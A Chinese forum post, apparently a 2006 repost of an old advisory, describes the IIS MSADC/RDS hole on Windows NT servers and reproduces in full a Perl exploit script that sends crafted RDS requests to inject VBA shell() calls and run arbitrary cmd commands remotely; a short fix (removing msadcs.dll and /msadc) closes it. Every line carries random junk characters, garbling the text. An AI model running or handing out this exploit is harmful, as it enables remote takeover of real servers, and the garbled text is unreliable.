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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) }=7tGqfw  
"D8x HHb  
涉及程序: uXu'I  
Microsoft NT server q^Oq:l$s  
[*8w v^  
描述: luLm:NWUM  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 \w O)w@"  
8R8J./i.K  
详细: 5GT,:0  
如果你没有时间读详细内容的话,就删除: ZK3?"|vhC  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ~"brfjd|  
有关的安全问题就没有了。 =4+UX*&i?.  
Z4bN|\I  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 f{WJM>$:  
<}N0 y*m  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 '-gk))u>)  
关于利用ODBC远程漏洞的描述,请参看: :3{@LOil^  
Og"50-  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ObMsncn  
1wqCoDgkp  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 *sB=Ys?  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp BP*gnXj  
9= \bS6w*  
这里不再论述。 8~\Fpz|Og  
qs 52)$  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Zdj~B1  
`H ^Nc\P#  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset DQH _@-q  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! aztP`S$h  
2%1 g%  
{HvR24#  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Af ^6  
8+v6%,K2  
#!perl {Kd9}CDAZ  
# Z(*n ZT,  
# MSADC/RDS 'usage' (aka exploit) script bHWy9-  
# fC]+C(*d  
# by rain.forest.puppy @MAk/mb&  
# _(J- MCY\  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Pw hs`YGMF  
# beta test and find errors! j$&k;S  
9BNAj-Xa  
use Socket; use Getopt::Std; *Rr,ii  
getopts("e:vd:h:XR", \%args); noh3mi  
\9@*Jgpd6*  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; aSXoYG0\  
w*#TS8 \  
if (!defined $args{h} && !defined $args{R}) { Z]uN9c  
print qq~ $//18+T  
Usage: msadc.pl -h <host> { -d <delay> -X -v } G\Toi98d*  
-h <host> = host you want to scan (ip or domain) B58H7NH ;G  
-d <seconds> = delay between calls, default 1 second /Eh\07p  
-X = dump Index Server path table, if available Q gDjc '  
-v = verbose PFUb\AY  
-e = external dictionary file for step 5 =@gH$Q_1  
?VS {,"X  
Or a -R will resume a command session .'5yFBS  
2~Gcoda  
~; exit;} ^X"G~#v=q  
dUOjPq97  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ;&;coH8`  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} S)@R4{=e"V  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} JS}W4 N  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 5j{o0&=_$  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} TBrAYEk  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 0 6 K8|K  
4#;rv$ {  
if (!defined $args{R}){ $ret = &has_msadc; ' OdZ[AN  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} mL18FR N  
7<|1 xOT  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" !*?&V3!  
. "cmd /c "; `k^ i#Nc>  
$in=<STDIN>; chomp $in; }_@cqx:n^  
$command="cmd /c " . $in ;  6:ZqS~-  
#}:VZ2Z  
if (defined $args{R}) {&load; exit;} "g>uNtt~  
~W%A8`9  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Wy)|-Q7  
&try_btcustmr; 1fViW^l_  
|>jlY|  
print "\nStep 2: Trying to make our own DSN..."; D:8-f3  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 92+({ fg W  
%jqBYn0q'  
print "\nStep 3: Trying known DSNs..."; E J q=MP  
&known_dsn; H6bomp"  
V1xpJ  
print "\nStep 4: Trying known .mdbs..."; 5(u7b  
&known_mdb; q6\z]8)  
'[`.&-;  
if (defined $args{e}){ +CX2W('  
print "\nStep 5: Trying dictionary of DSN names..."; F@"X d9q?  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } SO]x^+[  
IOvYvFUUJ  
print "Sorry Charley...maybe next time?\n"; htMsS4^Kvd  
exit; y !47!Dn  
;T-i+_  
############################################################################## o@EV>4e y  
@UkcvhH  
sub sendraw { # ripped and modded from whisker e0(loWq]  
sleep($delay); # it's a DoS on the server! At least on mine... PPPRO.y  
my ($pstr)=@_; (<itE3P  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ]/JE#  
die("Socket problems\n"); A9p$5jt7  
if(connect(S,pack "SnA4x8",2,80,$target)){ c c ,]  
select(S); $|=1; f.V0uBDN  
print $pstr; my @in=<S>; qaG%PH}a  
select(STDOUT); close(S); P,_GTs3/G  
return @in; *)L%pH>`  
} else { die("Can't connect...\n"); }} D@>P%k$$s>  
-58r* [=8  
############################################################################## }I; =IYrN  
aNv6 "  
sub make_header { # make the HTTP request }Jjq]lW  
my $msadc=<<EOT K )KE0/ n  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 x%vt$dy*8  
User-Agent: ACTIVEDATA @D[;$YEk  
Host: $ip 3ZC to[Y  
Content-Length: $clen _GI [SzD  
Connection: Keep-Alive VqVP5nT'=  
vh KA8vr  
ADCClientVersion:01.06 }\*dD2qNL}  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 czdNqk.kh  
0O!%NL[,  
--!ADM!ROX!YOUR!WORLD! W{=>c/  
Content-Type: application/x-varg Gv?3}8Wp  
Content-Length: $reqlen d3 fE[/oU  
wvx N6  
EOT e_\4(4x  
; $msadc=~s/\n/\r\n/g; 3/}=x<ui  
return $msadc;} GB^Ch YOb  
goIn7ei92  
############################################################################## ]*sXISg1  
sJt&`kZ  
sub make_req { # make the RDS request |Wi$@sWO  
my ($switch, $p1, $p2)=@_; S%mN6b~{  
my $req=""; my $t1, $t2, $query, $dsn; +]`MdOu  
_BHb0zeot  
if ($switch==1){ # this is the btcustmr.mdb query 9.#\GI ;  
$query="Select * from Customers where City=" . make_shell(); ; =F^G?p^  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . D GOc!  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 7KuTC%7  
'#u |RsZ  
elsif ($switch==2){ # this is general make table query DWm$:M4 z  
$query="create table AZZ (B int, C varchar(10))"; y9Yh%M(  
$dsn="$p1";} e,`+6qP{  
Z^>3}\_v  
elsif ($switch==3){ # this is general exploit table query wH{lp/  
$query="select * from AZZ where C=" . make_shell(); c6E@+xU  
$dsn="$p1";} JgYaA*1X  
<y-KW WE  
elsif ($switch==4){ # attempt to hork file info from index server G)5%f\&  
$query="select path from scope()"; k+JDbJ@  
$dsn="Provider=MSIDXS;";} Gob1V  
amlE5GK;  
elsif ($switch==5){ # bad query m`4Sp#m  
$query="select"; M6pGf_qt  
$dsn="$p1";} S[X bb=n  
S-.!BQ@RMZ  
$t1= make_unicode($query); FyZw='D  
$t2= make_unicode($dsn); s-o0N{b?#'  
$req = "\x02\x00\x03\x00"; }"Hf/{E$_"  
$req.= "\x08\x00" . pack ("S1", length($t1)); C1)TEkc"C  
$req.= "\x00\x00" . $t1 ; (`!?p ^>A  
$req.= "\x08\x00" . pack ("S1", length($t2)); i,<TaW*I  
$req.= "\x00\x00" . $t2 ; oxHS7b  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; > 9i@W@M  
return $req;} m)=  -sD  
%CD}A%~  
############################################################################## i^Ep[3  
v)okVyv  
sub make_shell { # this makes the shell() statement wEQV"I  
return "'|shell(\"$command\")|'";} Co[  rhs  
B07(15y]  
############################################################################## gqyQ Zew  
%I&Hx<H j  
sub make_unicode { # quick little function to convert to unicode 0)yvyQ5  
my ($in)=@_; my $out; nd'zO#"m?  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Vyu0OiGcR  
return $out;} h+t{z"Ic=  
iN<&  
############################################################################## pRPz1J$58  
g[q1P:I@W  
sub rdo_success { # checks for RDO return success (this is kludge) D!TS/J1S;u  
my (@in) = @_; my $base=content_start(@in); gSL$silc  
if($in[$base]=~/multipart\/mixed/){ :&&Ps4\Sq  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} qyp"q{k0  
return 0;} w# ,:L)  
>9uDY+70I3  
############################################################################## 0rsdDME[  
FL/@e$AK  
sub make_dsn { # this makes a DSN for us "9&6bBa  
my @drives=("c","d","e","f"); zRL[.O9  
print "\nMaking DSN: "; ! Hdg $,  
foreach $drive (@drives) { H2E!A2\m  
print "$drive: "; K$R1x1lc2  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . &]16Hb~  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" }yK_2zak5i  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); A^bg*t,  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; F4YCU$V  
return 0 if $2 eq "404"; # not found/doesn't exist  Q.DtC  
if($2 eq "200") { Nt$/JBB[$  
foreach $line (@results) { [-{L@  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} F?T3fINR  
} return 0;} 4WzB=C(f  
)+u|qT3%  
############################################################################## CmY'[rI  
RUlM""@b  
sub verify_exists { ncu &<j}U  
my ($page)=@_; =5[}&W  
my @results=sendraw("GET $page HTTP/1.0\n\n"); #'v7mEwt  
return $results[0];} q,PB; TT  
?U cW@B{  
############################################################################## a%Q.8  
]lXTIej`dy  
sub try_btcustmr { Q<;f-9q @  
my @drives=("c","d","e","f"); f+Put  
my @dirs=("winnt","winnt35","winnt351","win","windows"); UF|v=|*{#  
Jc-0.^]E}  
foreach $dir (@dirs) { r2M._}bF  
print "$dir -> "; # fun status so you can see progress uG${`4  
foreach $drive (@drives) {  Ae <v  
print "$drive: "; # ditto IgG@v9'  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; n/=&?#m}d  
$reqlenlen=length( "$reqlen" ); (SkI9[1\@3  
$clen= 206 + $reqlenlen + $reqlen; *G.6\  
g(;t,Vy,I  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); zYbSv~)  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} K0g<11}(Yg  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} HulN84  
Hhx<k{B@7  
############################################################################## ,fT5I6l  
S^c5  
sub odbc_error { iRPt0?$  
my (@in)=@_; my $base; Q|"{<2"]U0  
my $base = content_start(@in); cPPE8}PVH  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 1Ty{k^%  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; N|h`}*:x=  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; y9=/kFPRm  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; QG4#E$ c  
return $in[$base+4].$in[$base+5].$in[$base+6];} _E{SGbCCi  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; J&@[=zBYw  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . S5-}u)XnH  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} AVZ-g/<  
_`+ !,kG[  
############################################################################## g%4-QCZ,  
;k9s@e#a  
sub verbose { ]RML;]^  
my ($in)=@_; _o8il3  
return if !$verbose; yLW iY~Fd  
print STDOUT "\n$in\n";} Vx~[;*{,C9  
#?@k=e\  
############################################################################## 5dXC  
EZ8Ih,j9  
sub save { W&A22jO.1  
my ($p1, $p2, $p3, $p4)=@_; bO>Mvf  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 3R !Mfz*  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; V/.Y]dN5  
close OUT;} E@}t1!E<  
S@k4k^Vg  
############################################################################## @-NdgM<  
WID4{>G2  
sub load { >/.-N  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; =4RnXZ[P0  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); )U6T]1  
@p=<IN>; close(IN); $"!"=v%B  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); *S~gF/*kP  
$target= inet_aton($ip) || die("inet_aton problems"); W=M]1hy  
print "Resuming to $ip ..."; CKNC"Y*X  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; )|x) KY  
if($p[1]==1) { c]P`U(q9TV  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Zoh2m`6  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Be68 Fu0  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); RnE=T/VZJ  
if (rdo_success(@results)){print "Success!\n";} xx)egy_  
else { print "failed\n"; verbose(odbc_error(@results));}} D^E1  
elsif ($p[1]==3){ /(bPc12  
if(run_query("$p[3]")){ pUZbZ U  
print "Success!\n";} else { print "failed\n"; }} GO.mT/rB  
elsif ($p[1]==4){ ]uI#4t~  
if(run_query($drvst . "$p[3]")){ W~$YKBW  
print "Success!\n"; } else { print "failed\n"; }} V)mRG`L  
exit;} (%rO'X  
qSlC@@.>  
############################################################################## [>A%%  
6#MIt:#  
sub create_table { !_QE|tVeR  
my ($in)=@_; .RxH-]xk  
$reqlen=length( make_req(2,$in,"") ) - 28; V2W)%c'  
$reqlenlen=length( "$reqlen" ); I0h/x5  
$clen= 206 + $reqlenlen + $reqlen; XkHO=  
my @results=sendraw(make_header() . make_req(2,$in,"")); 1mz;4xb  
return 1 if rdo_success(@results); VC:.ya|Z  
my $temp= odbc_error(@results); verbose($temp); u7=`u/  
return 1 if $temp=~/Table 'AZZ' already exists/; QeuIAs*_  
return 0;} -fI-d1@  
L~%@pf>  
############################################################################## zqh.U @  
N?eWf +C  
sub known_dsn { JK4vQWy  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go _Y4%Fv>@  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", t4R=$ km  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", aze}ko NE  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Ms ;:+JI  
bF;g.-.2  
foreach $dSn (@dsns) { +!\$SOaR{  
print "."; R3`!Xj#&M  
next if (!is_access("DSN=$dSn")); )@Fuw*  
if(create_table("DSN=$dSn")){ 8%S5Fc #am  
print "$dSn successful\n"; tY-{uHW&h  
if(run_query("DSN=$dSn")){ &> tmzlww  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Cb~_{$A  
print "Something's borked. Use verbose next time\n";}}} print "\n";}  /~yk  
v@_b"w_TY  
############################################################################## p&/}0eL y  
Zg "g/I.+d  
sub is_access { R=yn4>I  
my ($in)=@_; `rzgC \  
$reqlen=length( make_req(5,$in,"") ) - 28; :@a8>i1&  
$reqlenlen=length( "$reqlen" ); hg_@Ui@[z  
$clen= 206 + $reqlenlen + $reqlen; 9!6sf GZ  
my @results=sendraw(make_header() . make_req(5,$in,"")); ;i\m:8!;  
my $temp= odbc_error(@results); yANk(  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ~W p>tnl  
return 0;} ;N6Euiz  
 i1v0J->  
############################################################################## Nb~.6bsL  
oswS<t{Z  
sub run_query { I?}YS-2  
my ($in)=@_; V`sINX  
$reqlen=length( make_req(3,$in,"") ) - 28; ;^za/h>r  
$reqlenlen=length( "$reqlen" ); M >#kfSF+  
$clen= 206 + $reqlenlen + $reqlen; X-%XZD B6  
my @results=sendraw(make_header() . make_req(3,$in,"")); pJ!:mt  
return 1 if rdo_success(@results); Q>]FO  
my $temp= odbc_error(@results); verbose($temp); &sleV5V  
return 0;} l ?RsXC  
\_;z m+ <{  
############################################################################## &,/_"N"?D  
#!(OTe L  
sub known_mdb { 6}zargu(;  
my @drives=("c","d","e","f","g"); c193Or'6Y  
my @dirs=("winnt","winnt35","winnt351","win","windows");  MO|aN,  
my $dir, $drive, $mdb; [}Vne;V  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; `./$hh  
XC"]/ y  
# this is sparse, because I don't know of many Goa0OC,  
my @sysmdbs=( "\\catroot\\icatalog.mdb", D=uU:7m  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", EUZ#o\6  
"\\system32\\certmdb.mdb", {WfZE&B  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% q ^NI  
SC/|o  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", @(Q 'J`  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;K]6/Wt  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", rvrv[^a(  
"\\cfusion\\cfapps\\security\\realm_.mdb", |zhVl  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ;LSdY}*%0  
"\\cfusion\\database\\cfexamples.mdb", R+ #(\  
"\\cfusion\\database\\cfsnippets.mdb", {+r0Nikx_  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ?hu}wl)  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", *\ZK(/V  
"\\cfusion\\brighttiger\\database\\cleam.mdb", xV@/z5Tq  
"\\cfusion\\database\\smpolicy.mdb", R3=PV{`M  
"\\cfusion\\database\cypress.mdb", 's#"~<L^e  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", y^pzqv  
"\\website\\cgi-win\\dbsample.mdb", y qDE|DIez  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", &!7{2E\7C  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Plpt7Pa_  
); #these are just ig|o l*~  
foreach $drive (@drives) { _ T ;+*  
foreach $dir (@dirs){ =s3f{0G  
foreach $mdb (@sysmdbs) { JtA tG%  
print "."; P?D;BAP2  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Hq=5/N  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; pV`?=[h9  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ MD`1KC_m  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; uXD?s3Wv  
} else { print "Something's borked. Use verbose next time\n"; }}}}} GR6BpV7  
t<~$?tuZ  
foreach $drive (@drives) { rik-C7  
foreach $mdb (@mdbs) {  zE$KU$  
print "."; !##OQ  
if(create_table($drv . $drive . $dir . $mdb)){ *UM=EQaYk  
print "\n" . $drive . $dir . $mdb . " successful\n"; +*/XfPlr|  
if(run_query($drv . $drive . $dir . $mdb)){ 5y3V duE  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; p1^k4G  
} else { print "Something's borked. Use verbose next time\n"; }}}} &)Y26*(`  
} HAa$ pGb  
]3UEju8$  
############################################################################## ';<gc5EK  
1Q-O&\-xg  
sub hork_idx { ]7W !  
print "\nAttempting to dump Index Server tables...\n"; W6cA@DN$#  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; aLzRbRv  
$reqlen=length( make_req(4,"","") ) - 28; 8&T6  
$reqlenlen=length( "$reqlen" ); L<8:1/d\  
$clen= 206 + $reqlenlen + $reqlen; ]!l]^/ .  
my @results=sendraw2(make_header() . make_req(4,"","")); Y*oT (  
if (rdo_success(@results)){ 6, =oTmFP  
my $max=@results; my $c; my %d; NJ" d`  
for($c=19; $c<$max; $c++){ R Ptc \4  
$results[$c]=~s/\x00//g; zg)-RCG  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 7ip$#pzo  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Qy!*U%tG'  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; -n.ltgW@   
$d{"$1$2"}="";} u!wR  
foreach $c (keys %d){ print "$c\n"; } 9a4Xf%!F>z  
} else {print "Index server doesn't seem to be installed.\n"; }} w'uI~t4  
=/_tQR~  
############################################################################## #|\w\MJamP  
Qe8F(k~k  
sub dsn_dict { ey4RKk,  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); %p?+r  
while(<IN>){ ean_/E  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; K7o!,['W  
next if (!is_access("DSN=$dSn")); f;";P  
if(create_table("DSN=$dSn")){ 0|mF /  
print "$dSn successful\n"; osB8 '\GR  
if(run_query("DSN=$dSn")){ ZV:cg v  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { f]N.$,:$  
print "Something's borked. Use verbose next time\n";}}} T_T@0`7  
print "\n"; close(IN);} !{hC99q6  
|/Q7 o1i  
############################################################################## CVo2?ZQ  
II=(>G9v  
sub sendraw2 { # ripped and modded from whisker 9RzTC  
sleep($delay); # it's a DoS on the server! At least on mine... .aJ\^Fx  
my ($pstr)=@_; J-Xw}|>@  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || QPL6cU$&R  
die("Socket problems\n"); d"h*yH@  
if(connect(S,pack "SnA4x8",2,80,$target)){ CJ'pZ]\G  
print "Connected. Getting data"; 53vnON#{*  
open(OUT,">raw.out"); my @in; 6;|6@j  
select(S); $|=1; print $pstr; "DWw]\xO](  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ^o;f~6#17  
close(OUT); select(STDOUT); close(S); return @in; h?cf)L  
} else { die("Can't connect...\n"); }} fU?P__zU4  
e15_$M;RW  
############################################################################## .rfKItd  
HfQZRDH  
sub content_start { # this will take in the server headers /HlLfW  
my (@in)=@_; my $c; &356   
for ($c=1;$c<500;$c++) { SEf:u  
if($in[$c] =~/^\x0d\x0a/){ "Q{)H8,E)x  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } {\HEUIa]w  
else { return $c+1; }}} x d9+P  
return -1;} # it should never get here actually -1~-uE.~4d  
dS+/G9X^  
############################################################################## =1/d>kke  
6.uyY@Yx  
sub funky { ? zFeP6C  
my (@in)=@_; my $error=odbc_error(@in); "t[9EbFL  
if($error=~/ADO could not find the specified provider/){ >gQJ6q  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; }@+3QHwYU  
exit;} -o\o{?t,  
if($error=~/A Handler is required/){ xbZx&`(  
print "\nServer has custom handler filters (they most likely are patched)\n"; 16;r+.FB'  
exit;} n2e#rn  
if($error=~/specified Handler has denied Access/){ cM'\u~m{  
print "\nServer has custom handler filters (they most likely are patched)\n"; {xW HKsI>,  
exit;}} `,-w+3?Al  
]VuB2L[D  
############################################################################## O/Q7{5n  
wNNInS6  
sub has_msadc { 0[/GEY@  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); R&lJ& SgC  
my $base=content_start(@results); UG@9X/l}  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ?vnO@Bb/a  
return 0;} H> zX8qP+  
n\X'2  
######################## +JDQ`Qk  
Jf#Ika&px  
7EI5w37  
解决方案: %9^^X6yLM  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll > T$M0&<  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 v--Qbu  
&3@ {?K  
拿出来充数 哈哈
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